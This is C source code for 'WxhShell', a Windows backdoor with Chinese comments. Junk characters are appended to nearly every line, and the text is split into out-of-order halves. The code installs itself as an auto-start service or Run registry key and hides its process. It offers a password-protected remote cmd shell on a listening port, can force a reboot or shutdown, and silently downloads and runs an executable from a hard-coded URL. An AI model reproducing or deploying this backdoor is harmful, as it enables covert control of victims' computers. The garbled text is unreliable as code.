    if(Boot(SHUTDOWN)) $:[BB ,$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !yX<v%>_0  
    else { G)hH?_U#T  
    closesocket(wsh); fWyDWU  
    ExitThread(0); +{%(_ <  
    } h50StZ8Yr  
    break; 8>Z$/1Mh  
    } 1H =wl =K  
  // 获取shell CLEG'bZa,  
  case 's': { =h::VB}Lv  
    CmdShell(wsh); 'w[d^L   
    closesocket(wsh); $ bNe0  
    ExitThread(0); k6'#  
    break; rA,Y_1b *  
  } 9*;isMkq<  
  // 退出 \>Rwg=Lh  
  case 'x': { S7ehk*`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]HV~xD7\  
    CloseIt(wsh); u)`|q_y+8  
    break; g[au-.:  
    } Kxc$wN<  
  // 离开 :.o=F`W  
  case 'q': { ;b?+:L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n>:c}QAJH  
    closesocket(wsh); #)A?PO2  
    WSACleanup(); fslk7RlSKg  
    exit(1); @ P"`=BU&  
    break; :F>L;mp  
        } d]ZC8<`w  
  } U.Chf9a -  
  } 1mn$Rh&dO  
#/t>}lc  
  // 提示信息 aC yb-P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  K-5"#  
} V> a3V'  
  } KPjqw{gR_R  
3cfZ!E~^kc  
  return; |g\.5IM#W  
} &lh_-@Xz  
b6!Q!:GO&  
// shell模块句柄 -{8Q= N  
int CmdShell(SOCKET sock) :qCm71*  
{ c+b:K  
STARTUPINFO si; oyN+pFVB:$  
ZeroMemory(&si,sizeof(si)); y>7VxX0xi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9S H<d)^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F0BOhlK  
PROCESS_INFORMATION ProcessInfo; _N,KHxsG8B  
char cmdline[]="cmd"; @0UwI%.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oX 2DFgz  
  return 0; Nx4DC  
} p21=$?k!;  
N t>HztXd  
// 自身启动模式 G{:af:5Fo  
int StartFromService(void) y13CR2t6  
{ E%k ]cZ  
typedef struct k\Z;Cmh>  
{ U| 41u4)D  
  DWORD ExitStatus; f^6&Fb>  
  DWORD PebBaseAddress; M=\d_O#;Z  
  DWORD AffinityMask; ^b"x|8  
  DWORD BasePriority; hHfe6P |  
  ULONG UniqueProcessId; |%:q hs,  
  ULONG InheritedFromUniqueProcessId; f $.\o  
}   PROCESS_BASIC_INFORMATION; SrQ4y`?  
k5fH ;  
PROCNTQSIP NtQueryInformationProcess; s=q%:uCO  
Lt;.Nw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4 [5lX C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xS H6n  
$vgmoJ@X0  
  HANDLE             hProcess; vGPf`2/j.  
  PROCESS_BASIC_INFORMATION pbi; f\x@ C)E  
c6?c>*z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 33{;[/4  
  if(NULL == hInst ) return 0; %67G]?EXB  
F,L82N6\U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'FPcAW^8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o7c%\v[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jlRl2 #"  
+?"HTDBE||  
  if (!NtQueryInformationProcess) return 0; E,*JPK-A x  
dt-Qu},8-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ks49$w<  
  if(!hProcess) return 0; .\ ;l-U  
Jo7fxWO_g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -A~;MGY  
Zzw}sZ?8  
  CloseHandle(hProcess); O:`GL1{ve?  
' D)1ka.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (!3Yc:~RE  
if(hProcess==NULL) return 0; J+/}K>2#  
3i]"#wK  
HMODULE hMod; D+ah ok  
char procName[255]; RR[)UQ  
unsigned long cbNeeded; T=eT^?v  
WX%h4)z*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {+@ms$z  
 /gqqKUx  
  CloseHandle(hProcess); SE-!|WR  
L<f-Ed9|  
if(strstr(procName,"services")) return 1; // 以服务启动 CbTf"pl  
p/ziFpU  
  return 0; // 注册表启动 E<D+)A  
} |uQn|"U4  
!7:EE,W~  
// 主模块 a^RZsR  
int StartWxhshell(LPSTR lpCmdLine) o :.~X  
{ 3n.+_jQ>s  
  SOCKET wsl; S_(&UeTC  
BOOL val=TRUE; R7E]*:0}  
  int port=0; ax-=n(   
  struct sockaddr_in door; $Qn& jI38  
0=N4O!X9  
  if(wscfg.ws_autoins) Install(); kbfuvJ>  
ucQezmie  
port=atoi(lpCmdLine); Tjd&^m  
YYTO,4  
if(port<=0) port=wscfg.ws_port; i:l80 GK  
gzl%5`DBw  
  WSADATA data; oS[W*\7'!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JiKImz  
EsT0"{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Nhjle@J<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DWF >b  
  door.sin_family = AF_INET; Z 7`5x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U3mXm?f  
  door.sin_port = htons(port); yQu vW$  
rER~P\-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f?2zLE>u  
closesocket(wsl); 1t0b Uf;(M  
return 1; l0gH(28K  
} \ua9thOG  
EwTS!gL  
  if(listen(wsl,2) == INVALID_SOCKET) { RM)1*l`!E  
closesocket(wsl); 48lzOG  
return 1; 5?^]1P_  
} ]MC/t5vCu  
  Wxhshell(wsl); {]+ jL1  
  WSACleanup(); B#J{F  
"\NF  
return 0; jIKBgsiF/  
[vE$R@TZ0!  
} gBMta+<fE~  
4#TnXxL  
// 以NT服务方式启动 (:ZPt(1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RwUW;hU  
{ 6!*K/2:O  
DWORD   status = 0; fW(;   
  DWORD   specificError = 0xfffffff; $B<~0'6}  
k"t >He  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OdO{xG G@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gj6<s./  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IoQr+:_R  
  serviceStatus.dwWin32ExitCode     = 0; X8 8F>1}  
  serviceStatus.dwServiceSpecificExitCode = 0; wyp{KIV  
  serviceStatus.dwCheckPoint       = 0; Xe)Pg)J1  
  serviceStatus.dwWaitHint       = 0; C2NzP& FD  
L%f-L.9`u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S<*';{5~  
  if (hServiceStatusHandle==0) return; =1O?jrl~q  
!5NGlqEF#  
status = GetLastError(); v<j2L"bj  
  if (status!=NO_ERROR) |n)<4%i8J  
{ $\+"qs)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D^$]>-^  
    serviceStatus.dwCheckPoint       = 0; ?b5H 2 W  
    serviceStatus.dwWaitHint       = 0; *JwFD^<j  
    serviceStatus.dwWin32ExitCode     = status; %z=`JhE"Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; %t q&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZH% we  
    return; ^mAJ[^%  
  } (Bsw/wv  
iW'_R{)T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^+EMZFjg(  
  serviceStatus.dwCheckPoint       = 0; %U-Qsy8|D)  
  serviceStatus.dwWaitHint       = 0; iEe#aO"D!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \` &ej{  
} Trpgx  
f0OgK<.>T  
// 处理NT服务事件,比如:启动、停止 HXyFj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) # 9V'';:  
{ ("b*? : B  
switch(fdwControl) Gj)uy jct  
{ 9+t =|  
case SERVICE_CONTROL_STOP:  Ll?g.z"  
  serviceStatus.dwWin32ExitCode = 0; E3bwyK!s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8+&gp$a$  
  serviceStatus.dwCheckPoint   = 0; !KAsvF,j  
  serviceStatus.dwWaitHint     = 0; .ByU  
  { +3)[> {~1Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`#22"m  
  } wz h.$?~  
  return; v:?o3 S  
case SERVICE_CONTROL_PAUSE: qZ&a76t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D@:"f?K>  
  break; v"/TmiZ  
case SERVICE_CONTROL_CONTINUE: W\%q} q2?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w1c w1xX*  
  break; Z~_8P  
case SERVICE_CONTROL_INTERROGATE: ? -CV %l  
  break; I=o'+>az  
}; xFU5\Zuw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i_NJ -K  
} *Er? C;  
p0Z:Wkz]  
// 标准应用程序主函数 ZJ9x6|q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <&6u]uKrW  
{ JCNk\@0i*  
}I]W'<jY  
// 获取操作系统版本 =&N$Vqn  
OsIsNt=GetOsVer(); +v!v[qn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g#|oi f9o  
S*xhX1yUi  
  // 从命令行安装 _; 7fraqX  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6e<^o H  
%Lyz_2q A  
  // 下载执行文件 `zY!`G  
if(wscfg.ws_downexe) { g}m+f] |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -~\f2'Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); S+iP^*L,c  
} @iRO7 6m  
<ZVZ$ZW~D  
if(!OsIsNt) { 3p&jLFphL  
// 如果时win9x,隐藏进程并且设置为注册表启动 06jMj26!  
HideProc(); Wy.";/C  
StartWxhshell(lpCmdLine); 5j`v`[B;  
} 9ad6uTc  
else _YLUS$Zw  
  if(StartFromService()) _Z.cMYN  
  // 以服务方式启动 2f^-~dz  
  StartServiceCtrlDispatcher(DispatchTable); xDUaHE1co  
else ;NP[_2|-,  
  // 普通方式启动 `s%QeAde  
  StartWxhshell(lpCmdLine); x9~[HuJ  
t!0dJud  
return 0; ,Bf(r  
} ZV( w  
A0>x9XSkJ  
. ,R4WA,  
SM<d  
=========================================== 7k~Lttuk  
"xn|zB  
f?maa5S  
($S Lb6  
:,^>d3k  
@)b^^Fp  
" ;UpJ=?W  
/>F.Nsujy  
#include <stdio.h> 5(#-)rlGj  
#include <string.h> @[v8}D  
#include <windows.h> 3Oiy)f@{TF  
#include <winsock2.h> H`el#tt_  
#include <winsvc.h> oCuV9dA.  
#include <urlmon.h> ?ZX!7^7  
c3W BALdh  
#pragma comment (lib, "Ws2_32.lib") 3\+N`!  
#pragma comment (lib, "urlmon.lib") Ag6uR(uI  
Ow)R|/e /  
#define MAX_USER   100 // 最大客户端连接数 )5GQJiY  
#define BUF_SOCK   200 // sock buffer yC"Zoa6YZ  
#define KEY_BUFF   255 // 输入 buffer *<q4S(l  
I N_gF_@%  
#define REBOOT     0   // 重启 +*.1}r&  
#define SHUTDOWN   1   // 关机 ._,trb>o  
~6HDW  
#define DEF_PORT   5000 // 监听端口 8t[t{"  
kFwxK"n@C  
#define REG_LEN     16   // 注册表键长度 t3>$|}O]t  
#define SVC_LEN     80   // NT服务名长度 y\z > /q  
ERC<Dd0  
// 从dll定义API ^*>n4U  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fnOIv#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (OqHfv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yoU2AMH2D^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Pb4q`!  
[+Un ^gD  
// wxhshell配置信息 2GUupnQkD  
struct WSCFG { @woC8X  
  int ws_port;         // 监听端口 TPK@*9rI  
  char ws_passstr[REG_LEN]; // 口令 tW(+xu36  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9U'[88  
  char ws_regname[REG_LEN]; // 注册表键名 n$W"=Z;`  
  char ws_svcname[REG_LEN]; // 服务名 -[$&s FD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t'aSF{%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qiU5{}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?K<Z kYw?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @h(!<Ux_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )S Q('vwg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (#z;(EN0t  
/RqhykgZ  
}; Q c3?}os2  
+5-fk>o  
// default Wxhshell configuration :'Xr/| s  
struct WSCFG wscfg={DEF_PORT, #TATqzA  
    "xuhuanlingzhe", 7}o6_i  
    1, o8tS  
    "Wxhshell", zAI|Jv @  
    "Wxhshell", Z(UD9wY5m  
            "WxhShell Service", ~d>uXrb  
    "Wrsky Windows CmdShell Service", j6og3.H-  
    "Please Input Your Password: ", s|gp  
  1, =)*JbwQ   
  "http://www.wrsky.com/wxhshell.exe", df ?eL2v  
  "Wxhshell.exe" iokPmV  
    }; 1 7i$8  
u}m.}Mws  
// 消息定义模块 SUc6/'Rdr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?[|hGR2L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HL8(lPgS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >-zkB)5<,#  
char *msg_ws_ext="\n\rExit."; P\T|[%E'  
char *msg_ws_end="\n\rQuit."; M8zE3;5  
char *msg_ws_boot="\n\rReboot..."; |!xpYT:  
char *msg_ws_poff="\n\rShutdown..."; ALAL( f`  
char *msg_ws_down="\n\rSave to "; (Com,  
B0"0_n7-  
char *msg_ws_err="\n\rErr!";  mmcdtVe  
char *msg_ws_ok="\n\rOK!"; o$\tHzB9!A  
6WO7+M;z  
char ExeFile[MAX_PATH]; ]4GZ'&m}  
int nUser = 0; O8[k_0@  
HANDLE handles[MAX_USER]; !%wdn33"  
int OsIsNt; D2)i3vFB  
=%L@WVbM  
SERVICE_STATUS       serviceStatus; &D)2KD"N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u{P~zyx  
Ph Ttx(!  
// 函数声明 /4-}k  
int Install(void); Otxa<M+"  
int Uninstall(void); Br&^09S  
int DownloadFile(char *sURL, SOCKET wsh); %i3{TL  
int Boot(int flag); Y-= /,   
void HideProc(void); ,m:6qdN  
int GetOsVer(void); 1I b_Kmb-  
int Wxhshell(SOCKET wsl); zu C5@jy.x  
void TalkWithClient(void *cs); LGfmUb-{]  
int CmdShell(SOCKET sock); 4]IKh,jT  
int StartFromService(void); 19) !$Hl  
int StartWxhshell(LPSTR lpCmdLine); 8J):\jAZ6  
'mUI-1GkT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1xIFvXru  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~hzEKvs  
R~cIT:i  
// 数据结构和表定义  Zsgi{  
SERVICE_TABLE_ENTRY DispatchTable[] = M_; w %FV  
{ j<@fT ewZ  
{wscfg.ws_svcname, NTServiceMain}, ^F&A6{9f/h  
{NULL, NULL} ^9s"FdB]24  
}; s6IP;}  
4]]b1^vVj  
// 自我安装 .X^43 q  
int Install(void) jQkUNPHu  
{ UC(9Dz  
  char svExeFile[MAX_PATH]; Stt* 1gT  
  HKEY key; 9GaL0OWo  
  strcpy(svExeFile,ExeFile); ,.h$&QFj;  
9[Y*k^.!  
// 如果是win9x系统,修改注册表设为自启动 C?S~L5a#oC  
if(!OsIsNt) { 4[Z1r~t\L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *n,UOHlO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &%}bRPUl  
  RegCloseKey(key); \DaLHC~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sb 8dc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \k4M{h6  
  RegCloseKey(key); ThbP;CzI#  
  return 0; unpfA#&!"  
    } }\U0[x#q  
  } <jg8y'm@0  
} )S#j.8P'B  
else { ynxWQ%d(`  
B JU*`Tx  
// 如果是NT以上系统,安装为系统服务 +B](5z4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # .~.UHt  
if (schSCManager!=0) O-?z' @5cI  
{ *TJ<  
  SC_HANDLE schService = CreateService n|J.)E.  
  ( [GOX0}$?  
  schSCManager, O3!Ouh&  
  wscfg.ws_svcname, zz[g{[SN  
  wscfg.ws_svcdisp, O~nBz):2  
  SERVICE_ALL_ACCESS, p_A5C?&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K90D1sD  
  SERVICE_AUTO_START, Feh"!k <6k  
  SERVICE_ERROR_NORMAL, O\3r%=TF  
  svExeFile, VyRW'  
  NULL, 4RlnnXY  
  NULL, vR<fdV  
  NULL, wVlSjk  
  NULL, nl.~^CP  
  NULL |zK!+fu  
  ); *;>V2!N=U  
  if (schService!=0) jq7vOr-_g  
  { k];L!Fj1  
  CloseServiceHandle(schService); H9.oVF^~  
  CloseServiceHandle(schSCManager); ru#T^AI*^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nck!z8  
  strcat(svExeFile,wscfg.ws_svcname); 2nG{>,#C:O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1v>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2<p5_4"-U*  
  RegCloseKey(key); rTN"SQt  
  return 0; =d:R/Z%,  
    } 5q0BG!A%T  
  } PR48~K,?  
  CloseServiceHandle(schSCManager); azz#@f1  
} 'YBLU)v[  
} 'iMHAP;N  
?CcR 7l  
return 1; AH"g^ gw~T  
} kKFuTem_3  
k~'?"'  
// 自我卸载 !UUmy% 9  
int Uninstall(void) 9Bbm7Gd  
{ I;bg?RsF  
  HKEY key; 4OqE.LFu  
j SUAU}u!M  
if(!OsIsNt) { 'l0eo' K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u&l>cJ'  
  RegDeleteValue(key,wscfg.ws_regname); A?6{  
  RegCloseKey(key); %l9WZ*yZ`2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _oMs `"4K  
  RegDeleteValue(key,wscfg.ws_regname); h4$OXKme?  
  RegCloseKey(key); Y_|K,T6Zj@  
  return 0; #XYLVee,  
  } `-9*@_ -=M  
} ;|;h9"  
} g4.'T51  
else { g:uaI  
Z!s>AgH9u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r(?'Yy  
if (schSCManager!=0) taD T;t  
{ TQb FI;\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n+RUPZ  
  if (schService!=0) Z<,CzKs+||  
  { )N%1%bg^-  
  if(DeleteService(schService)!=0) { CHdet(_=v  
  CloseServiceHandle(schService); b;~EJ  
  CloseServiceHandle(schSCManager); 5,=B1  
  return 0; U{za m  
  } 5qeS|]^`  
  CloseServiceHandle(schService); tc49Ty9$[  
  } #%=vy\r  
  CloseServiceHandle(schSCManager); %gne%9nn  
} q!9v}R3(  
} P*"AtZuY]  
ixI5Xd<  
return 1; DbNi;m  
} !Sy'Z6%f  
P/1UCITq}  
// 从指定url下载文件 }TAGr 0  
int DownloadFile(char *sURL, SOCKET wsh) +(h6{e%)  
{ -<}>YtB Q  
  HRESULT hr; }:c,S O!  
char seps[]= "/"; #K,qF*  
char *token; p *W ZY=Q  
char *file; z7us*8X{  
char myURL[MAX_PATH]; b1 ['uJF  
char myFILE[MAX_PATH]; [:hy  
Pu\DYP: (  
strcpy(myURL,sURL); g]PLW3  
  token=strtok(myURL,seps); ^6NABXL  
  while(token!=NULL) GYb2m"a)  
  { T~ q'y~9o  
    file=token; O^="T^J  
  token=strtok(NULL,seps); Mbi+Vv-  
  } _ry En  
@2Y]p.$q  
GetCurrentDirectory(MAX_PATH,myFILE); n+F-,=0  
strcat(myFILE, "\\"); Gp3t?7S{T  
strcat(myFILE, file); aXid;v,  
  send(wsh,myFILE,strlen(myFILE),0); <"|<)BGeI  
send(wsh,"...",3,0); F>_lp,G   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u b>K^  
  if(hr==S_OK) O@(.ei*HJ!  
return 0; JjO/u>A3;7  
else -_f0AfU/a  
return 1; O/r<VT Op  
wqoN@d  
} nF[eb{GR`  
sbiDnRf  
// 系统电源模块 zB7dCw  
int Boot(int flag) S0QU@e  
{ jw%FZ  
  HANDLE hToken; )mZy>45  
  TOKEN_PRIVILEGES tkp; Ex&RR< 5  
]~<T` )Hi  
  if(OsIsNt) { 1bAp{u&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [x()^{;2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;8xn"G0}a  
    tkp.PrivilegeCount = 1; 21k-ob1Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }sNZQ89V*v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Sv5fLu2  
if(flag==REBOOT) { op{(mn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2{tJ'3  
  return 0; DppvUiQB!a  
} 0`Qs=R`OM  
else { /OtQk -E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rl!WH%;c[X  
  return 0; jM@I"JZ b  
} 'GO..m"G  
  } ~SUl,Cs  
  else { %+JTQy  
if(flag==REBOOT) { aRKG)0=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U"G+su->e  
  return 0; !8M'ms>s=  
} Y##P9^zH1  
else { W@}5e-q)O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c{P`oB8  
  return 0; <NsT[r~C  
} m1Z8SM+  
} *Bz&  
'bO? =+c  
return 1; cuk}VZ  
} VDN]P3   
kpUU'7Q  
// win9x进程隐藏模块 6$.Xj\zl  
void HideProc(void) 4hz,F/ I  
{ hfc!M2/w  
h--!pE+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LA Vgf>  
  if ( hKernel != NULL ) iKKWn*u  
  { iB_j*mX]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 73`UTXvWU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5!%/j,?  
    FreeLibrary(hKernel); ]<= t  
  } 6&T1 ZY`  
03;(v%  
return; =w>QG{-N  
} ti% e.p0[  
9q{dRS[A  
// 获取操作系统版本 m %3Kq%?O  
int GetOsVer(void) ? xs0J  
{ d(XWt;KK  
  OSVERSIONINFO winfo; y~[So ,G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RwKN  
  GetVersionEx(&winfo); \_'pUp22  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7 #N @B  
  return 1; jd*H$BU^  
  else mqw.v$>  
  return 0; G_]mNh  
} Bnv%W4  
Q0-~&e_'  
// 客户端句柄模块 4|thDb)]  
int Wxhshell(SOCKET wsl) |<$O5b'  
{ yhmW-#+^e  
  SOCKET wsh; 'r CR8>k  
  struct sockaddr_in client; E~Nr4vq  
  DWORD myID; g!uhy}  
+`FY  
  while(nUser<MAX_USER) z_TK (;j  
{ yfrgYA  
  int nSize=sizeof(client); ,s K-gw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3u<2~!sR  
  if(wsh==INVALID_SOCKET) return 1; E*vi@aI  
x1h!_^(QfF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 40XI\yE_?  
if(handles[nUser]==0) I%Z &i-33y  
  closesocket(wsh); u9Ro=#xt  
else +W`~bX+  
  nUser++; ,*30Q  
  } /~:ztv\$M"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3L|k3 `I4  
04:Dbt~=?p  
  return 0; 2+HiaYDZ  
} QHK$  
CAO$Zt  
// 关闭 socket whshjl?a  
void CloseIt(SOCKET wsh) RA}PM?D/  
{ l:+1j{ d7  
closesocket(wsh); ]@EjKgs  
nUser--;  I g`#U~  
ExitThread(0);  `S|gfJ  
} |Cm}%sgR\0  
& CgLF]  
// 客户端请求句柄 4(NI-|q0  
void TalkWithClient(void *cs) _B2t|uQ  
{ @)}U\=  
{|cA[#j#  
  SOCKET wsh=(SOCKET)cs; XB?!V|bno  
  char pwd[SVC_LEN]; b\?`721BG  
  char cmd[KEY_BUFF]; 1D$k:|pP~  
char chr[1]; lWR  
int i,j; f' eKX7R  
LxbVRw  
  while (nUser < MAX_USER) { P VPwYmte  
<"-sN  
if(wscfg.ws_passstr) { xg8<b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  /Wa+mp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aaBBI S  
  //ZeroMemory(pwd,KEY_BUFF); x-"7{@lz  
      i=0; +CACs7tV  
  while(i<SVC_LEN) { [4gv_g  
(HEjmQjE  
  // 设置超时 *ULXJZ%  
  fd_set FdRead; t6tqv  
  struct timeval TimeOut; 4#o` -vcW  
  FD_ZERO(&FdRead); |1neCP@ng  
  FD_SET(wsh,&FdRead); rkD(K G9E  
  TimeOut.tv_sec=8; *Hs5MXNu  
  TimeOut.tv_usec=0; vO\CPb %/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); giPyo"SD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v K$W)(Z  
$h2h&6mH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zUOYH4+  
  pwd=chr[0]; qU}[( 9~Ru  
  if(chr[0]==0xd || chr[0]==0xa) { <|{=O9  
  pwd=0; Ay{4R  
  break; #PiW\Tq  
  } (LnKaf8  
  i++; RW3&]l=  
    } {3l] /X3  
7,:QFV  
  // 如果是非法用户,关闭 socket H#f FU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i# QI}r  
}  G=wJz  
Y M5;mPR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F&ux9zP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .(! $j-B  
-?j'<g0  
while(1) { O5E\#*<K  
tYVmB:l  
  ZeroMemory(cmd,KEY_BUFF); UF?qL1w  
JVN0];IL}  
      // 自动支持客户端 telnet标准   <_h  
  j=0; $~_TE\F1  
  while(j<KEY_BUFF) { -2f_e3jF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M4`qi3I  
  cmd[j]=chr[0]; j2V^1  
  if(chr[0]==0xa || chr[0]==0xd) { }s? 9Hnqa  
  cmd[j]=0; 6m?}oMz  
  break; 8^kw  
  } L_Z>*s&  
  j++; a8NL  
    } $vx]\` ^  
ih~ R?W  
  // 下载文件 bIR7g(PJ.b  
  if(strstr(cmd,"http://")) { Ww:,O48%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sZ_+6+ :  
  if(DownloadFile(cmd,wsh)) "luMz;B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tw 8$6KUW  
  else .O@T#0&=_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TF2'-"2Y  
  } _ ZMoPEW  
  else { t[ cHdI  
d[=~-[  
    switch(cmd[0]) { l]C#bL>i  
  G*^4+^Vz?  
  // 帮助 bL-+  
